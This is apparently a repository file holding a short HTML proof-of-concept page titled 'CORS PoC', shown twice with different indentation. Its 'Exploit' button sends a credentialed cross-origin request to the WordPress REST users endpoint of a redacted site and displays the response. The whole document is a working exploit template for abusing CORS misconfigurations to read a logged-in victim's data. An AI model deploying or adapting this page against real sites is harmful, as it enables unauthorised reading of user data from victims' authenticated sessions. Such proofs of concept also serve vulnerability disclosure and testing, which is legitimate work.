devhug/cors.html

## cors.html
<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://redacted.com/wp-json/wp/v2/users/", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>
	<html>
	<body>
	<h2>CORS PoC</h2>
	<div id="demo">
	<button type="button" onclick="cors()">Exploit</button>
	</div>
	<script>
	function cors() {
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function() {
	if (this.readyState == 4 && this.status == 200) {
	document.getElementById("demo").innerHTML = alert(this.responseText);
	}
	};
	xhr.open("GET",
	"https://redacted.com/wp-json/wp/v2/users/", true);
	xhr.withCredentials = true;
	xhr.send();
	}
	</script>
	</body>
	</html>